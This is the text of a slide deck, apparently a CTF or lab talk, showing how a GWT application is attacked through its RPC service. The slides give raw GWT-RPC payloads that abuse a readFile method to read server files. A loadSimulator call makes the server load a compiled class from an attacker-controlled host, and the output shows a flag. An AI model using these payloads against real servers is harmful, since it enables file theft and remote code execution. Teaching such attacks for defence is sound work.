This document discusses Java and GWT (Google Web Toolkit). It includes code snippets from a GreetingService class that has methods like loadSpaceshipData and readFile. There are also code snippets for initializing a GWTest class and compiling a ReadTest class to load a simulator from a server. The document demonstrates communicating with a remote server to load simulators using GWT.

1. JAVA+GWT
Positive Technologies

2. JAVA+GWT

3. JAVA+GWT
http://192.168.0.4:8180/gwtest/F6D8548F1EABDB25E1A3AC8E122176DF.cache.html

4. JAVA+GWT
http://192.168.0.4:8180/gwtest/F6D8548F1EABDB25E1A3AC8E122176DF.cache.html

5. JAVA+GWT

6. JAVA+GWT
6|0|6|http://192.168.0.4:8180/gwtest/|5611ED2367F632E5CBDBAEDFCA449E85|com.qwazar.gw
test.client.GreetingService|loadSpaceshipData|java.lang.String/2004016611|Shadow
vessel|1|2|3|4|1|5|6|
• com.qwazar.gwtest.client.GreetingService
• loadSpaceshipData
• Shadow vessel

7. JAVA+GWT
function init(){
!!$stats &&
$stats({moduleName:$moduleName, sessionId:$sessionId, subSystem:'startup', e
vtGroup:'moduleStartup', millis:(new
Date).getTime(), type:'onModuleLoadStart', className:'com.qwazar.gwtest.client.
GWTest'});
$onModuleLoad(new GWTest_0);
}

8. JAVA+GWT

9. JAVA+GWT
6|0|6|http://192.168.0.4:8180/gwtest/|5611ED2367F632E5CBDBAEDFCA449E85|com.qwazar.gwtest.cl
ient.GreetingService|readFile|java.lang.String/2004016611|/usr/local/apache-tomcat-
6.0/webapps/ROOT/debug.txt|1|2|3|4|1|5|6|
6|0|6|http://192.168.0.4:8180/gwtest/|5611ED2367F632E5CBDBAEDFCA449E85|com.qwazar.gwtest.cl
ient.GreetingService|readFile|java.lang.String/2004016611|/usr/local/apache-tomcat-
6.0/webapps/ROOT/WEB-INF/classes/com/qwazar/gwtest/client/GWTest.class|1|2|3|4|1|5|6|

10. JAVA+GWT

11. JAVA+GWT

12. JAVA+GWT

13. JAVA+GWT
POST:
6|0|6|http://192.168.0.4:8180/gwtest/|5611ED2367F632E5CBDBAEDFCA449E85|com.qwazar.gw
test.client.GreetingService|loadSimulator|java.lang.String/2004016611|file:/usr/local/apache-
tomcat-6.0/webapps/ROOT/|1|2|3|4|1|5|6|

//OK[1,["Simulator loaded from directory file:/usr/local/apache-tomcat-6.0/webapps/ROOT/rn Result:
In ReadTest"],0,6]

14. JAVA+GWT
Компилируем класс с именем ReadTest.class и содержимым
И кладем его на свой сервер.
POST:
6|0|6|http://192.168.0.4:8180/gwtest/|5611ED2367F632E5CBDBAEDFCA449E85|com.qwazar.g
wtest.client.GreetingService|loadSimulator|java.lang.String/2004016611|http://192.168.0.19/|1
|2|3|4|1|5|6|

15. JAVA+GWT
Получаем
//OK[1,["Simulator loaded from directory http://192.168.0.19/rn Result: flag-
abcdef1234567890abcdef1234567890"],0,6]

16. Спасибо за внимание!
Вопросы?